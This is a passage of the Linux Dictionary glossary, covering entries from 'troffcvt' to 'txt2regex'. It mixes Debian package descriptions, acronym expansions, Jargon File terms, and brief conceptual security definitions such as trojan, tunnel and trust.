Typesetter New Run−OFF (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

troffcvt

Converts troff source to HTML, RTF, and plain text. Use this package to convert manuals and manpages and other documents written using troff to more manageable formats, such as HTML, RTF, or plain text. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trojan

A class of malware, the word trojan refers to the classic Trojan Horse from the Iliad. In this story, after giving up on sieging the fortified city of Troy, the Greeks left behind a present. This consisted of a large wooden horse left at the outskirts of the town. After seeing the Greeks sail off, the citizens brought the wooden horse into town. The horse contained Greek warriors, who promptly jumped out, killed a bunch of people, and opened the city gates, letting in the Greek army who had actually been hiding rather than sailing off with the ships. Trojans are one of the leading causes of breaking into machines. If you pull down a program from a chat room, new group, or even from unsolicited e−mail, then the program is likely trojaned with some subversive purpose. It might contain a virus, a password−grabber, or consist of a remote admin trojan designed to allow remote control over your machine. Contrast: Whereas the general popular uses the word virus to refer to any malware, a Trojan is not technically a virus. Generally, Trojans do not spread to other programs or other machines. Key point: The word can be used as a verb. To trojan a program is to add subversive functionality to an existing program. For example, a trojaned login program might be programmed to accept a certain password for any user's account that the hacker can use to log back into the system at any time. Rootkits often contain a suite of such trojaned programs. Key point: Users can often break into a system by leaving behind trojaned command programs in directories (like their own directory or the /tmp directory). If you copy your own ls program to the /tmp directory, and somebody else does a cd /tmp then an ls, that user will run your program with their own privileges. This is especially dangerous against root, which is why the local directory should not be part of the search path for the root account. Contrast: A big fear is the transitive trojan −− a trojan horse that generates other trojans. The best example is the trojan described by Ken Thompson. He put a trojan horse into the C compiler so that when the login code was compiled, it would always accept a backdoor password. A common technique to guard against that is to first recompile the compiler first. Thompson therefore trojaned the compiler so that when it recompiled itself, it would put back the trojan. Therefore, even when you had the complete source to UNIX and compiler, you still couldn't recompile from scratch and remove the trojan. The fear is that tool vendors might put such trojans in their compilers, which cause products made from those compilers to have backdoors. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Trojan Horse

A computer program is either hidden inside another program or that masquerades as something it is not in order to trick potential users into running it. For example a program that appears to be a game or image file but in reality performs some other function. The term "Trojan Horse" comes from a possibly mythical ruse of war used by the Greeks sometime between 1500 and 1200 B.C. A Trojan Horse computer program may spread itself by sending copies of itself from the host computer to other computers, but unlike a virus it will (usually) not infect other programs. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TROLI

Token Ring Optimized Link Interface (Token Ring) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRON

The Realtime Operating system Nucleus From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trophy

A 2D car racing action game. Trophy is a single−player racing game for Linux. Even though the goal is basically to finish the laps as the first, Trophy is an action game which offers much more than just a race. Lots of extras enable "unusual" features for races such as shooting, putting mines and many others. This package contains the executable. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRP

Token Ring serial Port From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRR

Token Ring Repeater From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trr19

A type training software on GNU Emacs. This is just a beta version. Trr19 won't work with XEmacs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trscripts

Scripts for reencoding text files and BDF−fonts. The script `trbdf' can convert a BDF font from one codeset to another. The script `trcs' reencodes text files from one codeset to another. It can generate scripts for `tr'. For example the command trcs −−from cp1252 −−to latin1 −−gen−script gives you the following output: #!/bin/sh trap "exit 0" PIPE cat "$@" | tr \
'\200''\201''\202''\203''\204''\205''\206''\207''\210''\211''\212'\
'\213''\214''\215''\216''\217''\220''\221''\222''\223''\224''\225'\
'\226''\227''\230''\231''\232''\233''\234''\235''\236''\237' \
'\105''\77''\47''\146''\42''\267''\53''\77''\136''\77''\123'\
'\253''\117''\77''\132''\77''\77''\47''\47''\42''\42''\267'\ '\−''\−''\176''\77''\163''\273''\157''\77''\172''\131'
Both scripts try to approximate the missing from the target codeset symbols. It is easy to add support of other character sets. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRT

Token Rotation Timer (FDDI, Token Ring) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

truc

transfer big files through e−mail truc & untruc are two shell scripts that allow you to transfer big files through e−mail. They are using classical commands such as uuencode, tar, compress, csplit, etc. The word 'truc' (French) means: "Transfert Rapide Uuencode' Compresse'". From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

true

do nothing, successfully From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trueprint

pretty printing of source code It prints the source code of various programming languages in pretty way. Additionally it prints lines and also summarizes functions where they are located and other nifty things like make a Postscript file instead of printing it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TrueType Fonts

A wide variety of fonts designed to be printer−independent, unlike PostScript fonts. Available for the Apple Macintosh and Windows. Not commonly used with UNIX/Linux. (Also, see BDF Fonts and PostScript Fonts.) From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trust

The word trust has a huge amount of significance within the infosec community. The most immediately connotation is the use of this word instead of "secure". Government standards talk about Trusted Systems rather than secure systems. This is a zen way at looking at security. The main issue hinges around to what degree you can trust systems. If you store confidential information on a computer, you are placing your trust in that computer. More importantly, you are trusting the people/organization that operates that system. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trustees

Advanced permission management system for Linux. The main goal of Linux trustees project is to create an advanced permission management system for linux. In fact, UNIX permission system is not suitable for solution of very common tasks. E.g., let a system administrator wants to create a directory that available for some groups in write mode, for another groups − in read only. The files in the directory and subdirectories should inherits the parent's behavior, unless other is stated explicitly. Using standard UNIX (and Linux) security model it is generally speaking impossible to implement the situation when different groups have read/write and read/only permissions. This issue can be resolved by ext2−fs ACL project, but the problem is that nobody wants to copy mask or ACLs from parent directory to subdirectories either by hands or using special scripts. Using the trustees, you can resolve this problems just typing [/device]/path:+group1:REBX The solution proposed is mainly inspired by Novell Netware approach and Java security API. Special objects (called trustees) can be bounded to every file or directory. Trustee object means that access to file or directory or directory with subdirectories is granted (or denied) to certain user or group (or all except user or group). This package provides settrustee utility, which enables new privileges from trustee.conf. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Trustix

Trustix Secure Linux is a server oriented Linux distribution with high emphasis on security. Trustix provides several support alternatives for users of Trustix Secure Linux. The Trustix Secure Linux 2.0 Techology Preview 2 nicknamed Forecast was released February 18, 2003. Trustix Secure Linux 2.0 release candidate 1 (Thunder) was released June 23, 2003. A 'secured' distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TrX

TrX is a project that aims to produce a Debian GNU/Linux−based desktop router and firewall package based on Knoppix. This system will be bootable directly from CD−ROM, so hard disk installation will not be necessary. The initial Freshmeat release of TrX, version 3.2, was made available March 12, 2003. A CD−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

try−from

test program for the tcp_wrapper From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tryaffix

Interactive spelling checking From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TS

Time Slot From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TS

: Time Slot Interchanger From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tsiag

text version of the SIAG spreadsheet The spreadsheet part of the Siag Office suite. Siag is a spreadsheet based on X and scheme. Being based on scheme allows any user to expand the functionality of siag in just about any way imaginable. It can read and write 1−2−3 files for inter−operation with other well−known spreadsheet programs. You can enter expressions in several languages: C, guile, SIOD, Tcl. This one uses a test−based user interface (ncurses). You will find an X11 version in the `siag' package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TSIG

Trusted Systems Interoperability Group (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TSM

Text Service Manager (Apple) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TSM

TSS

Time−Sharing System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TSS (Telecommunications Standardization Sector)

The TSS develops technically−oriented international communications standards. All member countries of the International Telecommunications Union (ITU), one of the specialized agencies of the United Nations, can participate in the work of TSS. From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TSSDC

Task State Segment Descriptor Cache (CPU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TSTN

Triple SuperTwisted Nematic (LCD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TSTS

Transaction and Switching and Transport Services (BELLCORE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TSW

TeleSoftWare (T−Online) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TSX

TimeSharing eXecutive (OS, IBM, IBM 1800) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTCN

the Tree and Tabular Combined Notation (OSI, IUT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttcn3parser

Parser for the TTCN−3 test specification language This is a parser for TTCN−3 (Testing and Test Control Notation 3), a language mainly for testing of communication protocols. Both the language and the parser are still under development. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTF

TrueType Font From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttf−commercial

Install or share some commercial TrueType fonts with windows. This package is for sharing commercial TrueType fonts with windows. But, also it should be used to install fonts from CD−ROM. This package does not contain any fonts. You need to mount the commercial font CD−ROM or windows partition(if you already installed fonts to windows) before install this package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttf2afm

utility to generate AFM files for TrueType fonts From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttf2pt1

A TrueType to PostScript Type 1 Font Converter Ttf2pt1 is a font converter from the True Typeformat (and some other formats supported by the FreeType library as well) to the Adobe Type1 format. Home Page: http://ttf2pt1.sourceforge.net/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTFN

Ta−Ta For Now (slang, Usenet, IRC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttfprint

A utility to print Chinese text using truetype fonts Ttfprint takes a Chinese text file as input and produce a Postscript version by using Chinese Truetype fonts. You can select the paper size, margin widths, font size, character and line spacing, and more. Other features include date/time and page number insertion and duplex printing. You can also print headers and templates (overlays) graphics (in EPS format) on top of the texts. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttfprint

Ttfprint makes a Postscript file from a Chinese text file with Chinese TrueType fonts. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTL

See time to live (TTL). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTL

Time To Live (IP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTL

Transistor Transistor Logic From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttmkfdir

An utility for creating fonts.scale file for TTF fonts. "This program is for users of xfsft by Juliusz Chroboczek and Mark Leisher. It reads TrueType fonts and creates a suitable fonts.scale file for use with the above mentioned X font server." (Joerg Pommnitz' README) 'ttmkfdir' works excellent for both TT−aware font servers, i.e. xfsft and xfs−xtt. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTML

Tagged−Text Markup Language (Nokia, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTP

Tiny Transmission Protocol (IRDA, IRLMP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTP

Trusted Third Parties (cryptography) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTRP

Time Token Rotation Protocol (FDDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTRT
Target Token Rotation Time (FDDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTS
Text To Speech [system] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTS
Transaction Tracking System (DB, Netware) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTS
Trouble Ticketing System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttv
tty TV application TV application for terminals, based on aalib. Uses video4linux devices as video input. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tty
/T−T−Y/, /tit'ee/ n. The latter pronunciation was primarily ITS, but some Unix people say it this way as well; this pronunciation is not considered to have sexual undertones. 1. A terminal of the teletype variety, characterized by a noisy mechanical printer, a very limited character set, and poor print quality. Usage: antiquated (like the TTYs themselves). See also bit−paired keyboard. 2. [especially Unix] Any terminal at all; sometimes used to refer to the particular terminal controlling a given job. 3. [Unix] Any serial port, whether or not the device connected to it is a terminal; so called because under Unix such devices have names of the form tty*. Ambiguity between senses 2 and 3 is common but seldom bothersome. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tty
An abbreviation for TeleType, which is used in Linux to mean terminal. For example, tty03 means terminal number 3. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tty
controlling terminal From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tty
print the file name of the terminal connected to standard input From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TTY
TeleTYpe From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttylinux
ttylinux is a minimalistic Linux distribution that can run in as little as 2.88 megabytes of space. It will provide only a text−based interface, but it enables you to dial into the Internet and surf web pages even on a low−end machine. Version 3.1 was released April 8, 2003. A small disk distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttylog
serial port logger Print everything onto stdout what comes from a serial device. You can specify the device and the baud rate. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttyrec
A tty recorder ttyrec is a tty recorder. A recorded data can be playback with the included ttyplay command. ttyrec is just a derivative of script command for recording timing information with microsecond accuracy as well. It can record emacs −nw, vi, lynx, or any programs running on tty. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ttysnoop
TTY Snoop − allows you to spy on telnet+serial connections TTYSnoop allows you to snoop on login tty's through another tty−device or pseudo−tty. The snoop−tty becomes a 'clone' of the original tty,

redirecting both input and output from/to it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tua

The Uucp Analyzer Its purpose is to collect all the information that the UUCP package puts in its various logs. It then builds up a clear report, showing data from several different points of view. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tuareg−mode

An emacs−mode for ocaml programs. Tuareg is a Caml mode for GNU Emacs and XEmacs. It handles automatic indentation of Objective Caml and Camllight codes. Key parts of the code are highlighted using Font−Lock. Support to run an interactive Caml toplevel and debugger is provided. This mode attempts to give better results than the one provided in the standard distribution OCaml 3.x. Indentation rules are slightly different but closer to classical functional languages indentation. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TUB

Technische Universitaet Berlin (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TUBA

TCP and UDP with Bigger Addresses (TCP, UDP, RFC 1347) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tube

1. n. A CRT terminal. Never used in the mainstream sense of TV; real hackers don't watch TV, except for Loony Toons, Rocky & Bullwinkle, Trek Classic, the Simpsons, and the occasional cheesy old swashbuckler movie. 2. [IBM] To send a copy of something to someone else's terminal. "Tube me that note?" From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tube time

n. Time spent at a terminal or console. More inclusive than hacking time; commonly used in discussions of what parts of one's environment one uses most heavily. "I find I'm spending too much of my tube time reading mail since I started this revision." From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TUC

Total User Cell count (UNI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TUCD

Total User Cell Difference (UNI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TUG

TeX User's Group (org., user group, TeX) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TUI

Text−Based User Interface (UI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TUM

Technische Universitaet Muenchen (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tune

vt. [from automotive or musical usage] To optimize a program or system for a particular environment, esp. by adjusting numerical parameters designed as hooks for tuning, e.g., by changing #define lines in C. One may `tune for time' (fastest execution), `tune for space' (least memory use), or `tune for configuration' (most efficient use of hardware). See bum, hot spot, hand−hacking. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tune2fs

adjust tunable filesystem parameters on second extended filesystems From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tunelp

set various parameters for the lp device From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TUNIS

Toronto UNIversity System (OS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tunnel

A way of establishing an outbound connection through a firewall in such a way that it is neither blocked or monitored. This isn't a way of breaking through a firewall, but assuming you've compromised a machine on the other side of a firewall (through some other technique), this will allow you to communicate with that machine from the Internet. It is also used by people behind firewalls that use restrictive rulesets: users simply create a tunnel back to their home machine. Example: People have written tunnels over ICMP, DNS, HTTP, e−mail messages, and TCP connections. Tunnels can either by of the "port redirector" style (which run on top of any TCP/IP stack) or of the network interface variety (below the TCP/IP stack requiring kernel mod). From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tunnelv

Encrypted network connection within a TCP/IP connection Tunnel Vision creates a "virtual" TCP/IP network (VPN) between two Tunnel Vision−capable sites on the internet. It uses the strongest encryption that's actually useful (1024−bit RSA and 128−bit Blowfish) to protect your data along the way. This connection between two TV servers is called a "tunnel." Tunnel Vision is usually used on a router or gateway machine. When someone on your network wants to send data to someone on the other side of the tunnel, it sends through the default gateway (the TV server) like it normally would. You configure the TV server to send data through the tunnel instead of just forwarding it onto the internet. Tunnel Vision requires Linux 2.1.122 or higher with the ethertap and netlink devices. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TUP

Telephone User Path (ISDN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

turbine

Website development framework. Turbine is a servlet based framework that allows experienced Java developers to quickly build secure web applications. Parts of Turbine can also be used independently of the web portion of Turbine as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Turbolinux

Turbolinux supports a variety of platforms and Asian languages. They are the Asian arm of UnitedLinux. Turbolinux Enterprise Server 8 powered by UnitedLinux is currently available. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

turqstat

Fidonet and Usenet statistics program Turquoise SuperStat is a simple but powerful Fidonet and Usenet message base statistics program that can read messages that are stored in SDM (*.MSG), SquishMail, JAM, FDAPX/w and MyPoint message bases as well as local or remote (NNTP) Usenet news spools. This is the command line based version. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TUT

Transistor Under Test From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tux

Tux the Penguin is the official emblem of Linux, This eventuated after a logo contest in 1996, during which Linus Torvalds endorsed the idea of a penguin logo in a couple of famously funny postings.

Linus explained that he was once bitten by a killer penguin in Australia and has felt a special affinity for the species ever since. (Linus has since admitted that he was also thinking of Feathers McGraw, the evil−genius penguin jewel thief who appeared in a Wallace & Grommit feature cartoon, "The Wrong Trousers".) Larry Ewing designed the official Tux logo. It has proved a wise choice, amenable to hundreds of recognizable variations used as emblems of Linux−related projects, products, and user groups. In fact, Tux has spawned an entire mythology, of which the Gospel According to Tux and the mock−epic poem "Tuxowolf" are among the best−known examples. There is a `real' Tux − a black−footed penguin resident at the Bristol Zoo. Several friends of Linux bought a zoo sponsorship for Linus as a birthday present in 1996. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tux−aqfh
: 3D Puzzle Game with Tux the Penguin Tux: A quest for herring is a 3D search/explore/puzzle game. Follow our Hero Tux the Penguin in a quest for eight golden herring. Game is in full 3rd person perspective, It's written in OpenGL. Initial release has only a handful of playable levels − but it's all OpenSourced under GPL and hopefully enough people will want to help with the development to turn this into something very special. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tuxeyes
: a fancy version of xeyes This package displays Tux, Chuck (the BSD daemon), Luxus, or Dust Puppy following your mouse cursor in X with their eyes. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tuxkart
: A 3D go−kart racing game. TuxKart is a 3D go−kart racing game with several famous OpenSource mascots participating. There are several race courses provided, with full information on how to add your own. Except for a few minor details, this game is essentially complete, and very playable. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tuxpuck
: "Shufflepuck Cafe" Clone Anyone remember "Shufflepuck Cafe" for the Amiga/AtariST? I do. TuxPuck is a shufflepuck game written in C using SDL. The player moves a pad around a board and tries to shoot down the puck through the opponents defense. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tuxracer
: 3D racing game featuring Tux, the Linux penguin Tux Racer is a simple OpenGL−based racing game featuring Tux, the Linux Penguin. The object of the game is to slide down a snow− and ice−covered mountain as quickly as possible, avoiding the trees and rocks that will slow you down. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tuxracer
: Tux Racer is a simple OpenGL−based racing game featuring Tux. The object of the game is to slide down a snow− and ice−covered mountain as quickly as possible, avoiding the trees and rocks that will slow you down. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tuxtype
: Educational Typing Tutor Game Starring Tux TuxTyping is an educational typing tutorial game starring Tux, the Linux Penguin. The player guides Tux to eat fish which are falling from the top of the screen. Each fish has a letter written on it. When the player presses the corresponding key, Tux will position himself to eat the fish. The game is intended for children learning to type, though it does have higher difficulty levels which even experienced typists may find challenging. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TVOL
: TV OnLine cable service (WorldGate, Internet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TVOS

Terminal Velocity Operating System (3drealms) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TVS

Transparent Voice Signalling (VOFR) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TVST

TeilnehmerVermittlungsSTelle (Telekom), "TVSt" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TWAIN

Technology Without An Important Name From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TWB

Terrestrial Wide−Band [networking] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twclock

Clock program for hamradio operators This is a clock program which will displays the current time in major cities around the world. The current time at some point on the globe is determined using the time zone information contained in the files located under the directory /usr/share/zoneinfo. A file selection box allows you to pick the area or city of interest. The clock will then display the current time for the selected location. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tweak

vt. 1. To change slightly, usually in reference to a value. Also used synonymously with twiddle. If a program is almost correct, rather than figure out the precise problem you might just keep tweaking it until it works. See frobnicate and fudge factor; also see shotgun debugging. 2. To tune or bum a program; preferred usage in the U.K. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twiddle

n. 1. Tilde (ASCII 1111110, ~). Also called `squiggle', `sqiggle' (sic −− pronounced /skig'l/), and `twaddle', but twiddle is the most common term. 2. A small and insignificant change to a program. Usually fixes one bug and generates several new ones (see also shotgun debugging). 3. vt. To change something in a small way. Bits, for example, are often twiddled. Twiddling a switch or knobs implies much less sense of purpose than toggling or tweaking it; see frobnicate. To speak of twiddling a bit connotes aimlessness, and at best doesn't specify what you're doing to the bit; `toggling a bit' has a more specific meaning (see bit twiddling, toggle). 4. Uncommon name for the twirling baton prompt. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twig

The Web Information Gateway TWIG is a groupware client designed to be used with web browsers. The main goal was to provide an IMAP client, but it now offers agenda, news−reader, bookmarks, contact list and other features. TWIG can be used as a webmail app with remote mail and news servers, so these are not needed in the local machine. This package is prepared to be used with either MySQL or PostgreSQL, but it is possible to use it with many other databases if properly configured. More info about TWIG can be found in http://twig.screwdriver.net/. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twin

a Text mode WINdow environment. Twin is a windowing environment with mouse support, window manager, terminal emulator and networked clients, all inside a text display. It supports a variety of displays: * plain text terminals (any termcap/ncurses compatible terminal, Linux console, twin's own terminal emulator); * X11, where it can be used as a multi−window xterm; * itself (you can display a twin on another twin); * twdisplay, a general network−transparent display client, used to attach/detach more displays on−the−fly. From Debian 3.0r0 APT

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twirling baton

n. [PLATO] The overstrike sequence −/|\−/|\− which produces an animated twirling baton. If you output it with a single backspace between characters, the baton spins in place. If you output the sequence BS SP between characters, the baton spins from left to right. If you output BS SP BS BS between characters, the baton spins from right to left. This is also occasionally called a twiddle prompt. The twirling baton was a popular component of animated signature files on the pioneering PLATO educational timesharing system. The archie Internet service is perhaps the best−known baton program today; it uses the twirling baton as an idler indicating that the program is working on a query. The twirling baton is also used as a boot progress indicator on several BSD variants of Unix; if it stops you're probably going to have a long and trying day. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twisted

Event−based framework for internet applications. It includes a web server, a telnet server, a multiplayer RPG engine, a generic client and server for remote object access, and APIs for creating new protocols. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twlog

Logging program for hamradio operators This GUI program records basic Ham log information. It is for day to day logging, not contesting. There is no dup checking and contest related things like that. My keyboard is where my logbook used to be, so why not use the computer to log QSOs! The interface can be customized without re−compiling. A resource file allows you to modify the menus for the bands, modes, etc. that you use. Most of the log entries can be made with a button press or a single key stroke. It records the date, start and end times, call sign, band, mode, power, and signal reports. There is also a field for general notes. A second window allows you to search and edit the log file, and a third window provides online help. The help file can also be view with any unix command or editor at any time. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twm

Tab Window Manager for the X Window System From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twm

Tab Window Manager for the X Window System From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twm

Tab window manager twm is a window manager for the X Window System. It provides title bars, shaped windows, several forms of icon management, user−defined macro functions, click−to−type and pointer−driven keyboard focus, and user−specified key and pointer button bindings. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twoftpd

a simple secure efficient FTP server This is twoftpd, a new FTP server that strives to be secure, simple, and efficient. None of the commands can cause execution of other programs, and the normal model of execution does a chroot to the logged in user's directory immediately after authentication. The name "twoftpd" comes from the fact that there were two parts to the server −− an authenticating front end, which contains no file or data transfer code, and a back end, which contains all the data transfer code. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TWOS

Time Warp Operating System (OS, Hypercube) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twpsk

Soundcard−based X program for operating PSK31 Twpsk uses a soundcard to receive and transmit PSK31, an extremely narrow band HF−mode. PSK31 is a mode for keyboard QSO's. From Debian

3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

twutils

Utilities for twin Utilities that fits well with the Text WINdow manager, twin. it currently only contains twkalc, a calculator. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

txfonts

Times−likes font for TeX. TX fonts consist of 1. virtual text Roman fonts using Adobe Times (or URW NimbusRomNo9L) in OT1, T1, TS1, and LY1 encodings (with some modified and additional text symbols) 2. virtual text sans serif fonts using Adobe Helvetica (or URW NimbusSanL) in OT1, T1, TS1, and LY1 encodings (with additional text symbols) 3. monospaced typewriter fonts in OT1, T1, TS1, and LY1 encodings 4. math alphabets using Adobe Times (or URW NimbusRomNo9L) with modified metrics 5. math fonts of all symbols corresponding to those of Computer Modern math fonts (CMSY, CMMI, CMEX, and Greek letters of CMR) 6. math fonts of all symbols corresponding to those of AMS fonts (MSAM and MSBM) 7. additional math fonts of various symbols From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

txt2html

Text to HTML converter. txt2html is a Perl program that converts plain text to HTML. It supports headings, lists, simple character markup, and hyperlinking, and is highly customizable. It recognizes some of the apparent structure of the source document (mostly whitespace and typographic layout), and attempts to mark that structure explicitly using HTML. the purpose for this tool is to provide an easier way of converting existing text documents to HTML format. txt2html can also be used to aid in writing new HTML documents, but there are probably better ways of doing that. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

txt2pdbdoc

Convert plain text files to Palm DOC (for PalmOS) and back This utility converts plain text files (or HTML files) to the de facto PalmOS standard DOC format for use in document readers (such as "C Spot Run") and editors (such as "ZDOC"). DOC files are compressed by default, and txt2pdbdoc can also convert DOC files back to plain text. WARNING: Generated PDB files (for this and previous versions) may cause problems on the Palm if they are installed by some method other than hotsyncing (e.g. via a memory card). See bug #118930 for details. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

txt2regex

